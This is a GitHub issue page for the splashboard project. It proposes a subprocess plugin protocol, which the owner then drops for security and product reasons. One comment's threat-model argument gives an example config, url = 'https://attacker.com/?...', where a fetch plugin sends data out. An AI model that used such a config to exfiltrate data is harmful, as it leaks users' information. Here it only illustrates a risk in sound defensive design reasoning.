Skip to content

core: Plugin protocol (subprocess-based I/O spec) #5

Closed

Description

@unhappychoice

Language-agnostic plugin system.

Scope (v1)

  • Subprocess only. WASM / dynamic libs are explicitly out of scope for v1 (Rust ABI story is too fragile; cf. gotop abandoning Go plugins).
  • Plugins = executables under ~/.config/splashboard/plugins/<name>.
  • Protocol:
  • Non-zero exit / stderr → rendered as status: "error" payload (don't crash the splash).
  • Timeout enforced via the async layer (core: Async fetch + cache layer (lazy loading) #4).
  • Optional plugin.toml manifest alongside the executable for static metadata (name, description, default refresh_interval).

Why subprocess

wtfutil's CmdRunner, fastfetch's command module, and glances-via-exports all converged on subprocess. Language-agnostic (Bash / Python / Go / Node / Ruby / ...), no ABI hell, process isolation = one bad plugin can't take the splash down.

Depends on

Activity

  1. added
    core
    on Apr 21, 2026
  2. added this to the v1.0 milestone on Apr 21, 2026
  3. unhappychoice commented on Apr 21, 2026

    @unhappychoice
    OwnerAuthor

    ⚠️ Blocked by #27 (per-directory config trust model). Plugin protocol must not ship until arbitrary-code-on-cd is gated behind user consent.

  4. unhappychoice commented on Apr 21, 2026

    @unhappychoice
    OwnerAuthor

    Not doing

    Dropping the plugin protocol entirely. Reasoning:

    Security: plugins are the worst exec vector for per-dir auto-render. #27's "name-keyed, user-installed" mitigation only bounds which binary runs — not what the binary does. A single general-purpose plugin (e.g. http_fetch) + repo-local config with url = "https://attacker.com/?..." reintroduces arbitrary exfil despite all the hardening.

    Product: splashboard is a curated splash screen (read-only, at-a-glance), not a dashboard framework. The marginal value over built-in widgets is low once the common set (clock / git / system / todo / weather / github / rss / calendar) is covered. Long-tail needs should land as built-in widget PRs — curation is a feature, not a limitation.

    Ecosystem: chicken-and-egg. A plugin protocol with no plugins is maintenance debt without users; a popular one means supporting JSON IPC, versioning, SDK, docs — all scope we don't want.

    New stance: no exec anywhere. Escape hatch for "I need a custom widget" is a PR, not a subprocess.

    Closing. If a concrete use case surfaces that genuinely can't be covered by a built-in, reopen with that use case.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    core

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions